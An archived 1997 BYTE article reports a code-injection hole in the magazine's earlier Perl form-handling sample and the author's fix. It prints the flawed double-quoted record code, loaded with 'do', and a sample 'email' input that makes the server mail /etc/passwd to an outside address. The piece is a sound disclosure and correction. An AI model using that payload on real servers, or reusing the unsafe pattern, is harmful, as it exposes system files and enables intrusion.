Archives
 
 
 
  Special
 
 
 
  About Us
 
 
 

Newsletter
Free E-mail Newsletter from BYTE.com

 
    
           
Visit the home page Browse the four-year online archive Download platform-neutral CPU/FPU benchmarks Find information for advertisers, authors, vendors, subscribers Request free information on products written about or advertised in BYTE Submit a press release, or scan recent announcements Talk with BYTE's staff and readers about products and technologies

ArticlesA Subtle Perl Security Pitfall


July 1997 / Web Project / Textbase Tricks / A Subtle Perl Security Pitfall

The code shown on page 134 of the October 1996 BYTE contains a security hole. Below is the explanation, in the words of alert reader Dov Grobgeld.

In your code, you make "a text representation of a Perl associative array" with a code segment that looks something like this:


foreach $f (keys %record) {

s/\"/\\"/g;

print RECORD

"'".$f."\',\"".$in{$f}."\",\n";

}

Later on you do this statement:

  do '0001.REC';

What you actually do here is execut e unknown code! You have no idea what's inside the %record strings or how they might interact with the intricate syntax of Perl. The only thing you take care of is to escape the '"' character, but that's not enough.

Time for an example of something that may be nasty. Let's say you have a text field called email created through

  <input type="text" name="email">

And someone inputs the following "email" address:

  @_['mail jon_u\@dev5.byte.com <
    /etc/passwd']

This will create a file called 0001.REC, which looks like this:

  %record=('email', "@_['mail jon_u\
    @dev5.byte.com </etc/passwd']");

[ Editor's note: For Perl noninitiates, @_ is Perl's built-in array of arguments. The square brackets form an index into that array. In Perl, any expression that appears within square brackets will be evaluated to yield an array index. Here, the entire construct is meaningless, except for its very na sty side effect.]

When you run that code through perl5, you will receive a copy of /etc/passwd in your mail.

Dov was right! For reasons that escape me, I had wrapped double rather than single quotes around the hash value. This invites Perl to evaluate the expression, with possibly disastrous results.

I've now switched to single-quoting the user input, as I should have done all along. This method should ensure that the input will not be evaluated, but will instead be handled as literal text.

However, as Dov's message shows, Perl can be as dangerous as it is powerful. I advise caution. Note, for example, that the hole Dov found does not exist at the time the form data is stored, but rather at the time it's loaded for use. This process need not occur -- and perhaps should not occur -- on a production Internet-connected server.


Up to the Web Project section contentsGo to previous article: Textbase TricksSearchSend a comment on this articleSubscribe to BYTE or BYTE on CD-ROM   Copyright
Flexible C++
Matthew Wilson
My approach to software engineering is far more pragmatic than it is theoretical--and no language better exemplifies this than C++.

more...

BYTE Digest

BYTE Digest editors every month analyze and evaluate the best articles from Information Week, EE Times, Dr. Dobb's Journal, Network Computing, Sys Admin, and dozens of other CMP publications—bringing you critical news and information about wireless communication, computer security, software development, embedded systems, and more!

Find out more

BYTE.com Store

BYTE CD-ROM
NOW, on one CD-ROM, you can instantly access more than 8 years of BYTE.
 
The Best of BYTE Volume 1: Programming Languages
The Best of BYTE
Volume 1: Programming Languages
In this issue of Best of BYTE, we bring together some of the leading programming language designers and implementors...

Copyright © 2005 CMP Media LLC, Privacy Policy, Your California Privacy rights, Terms of Service
Site comments: webmaster@byte.com
SDMG Web Sites: BYTE.com, C/C++ Users Journal, Dr. Dobb's Journal, MSDN Magazine, New Architect, SD Expo, SD Magazine, Sys Admin, The Perl Journal, UnixReview.com, Windows Developer Network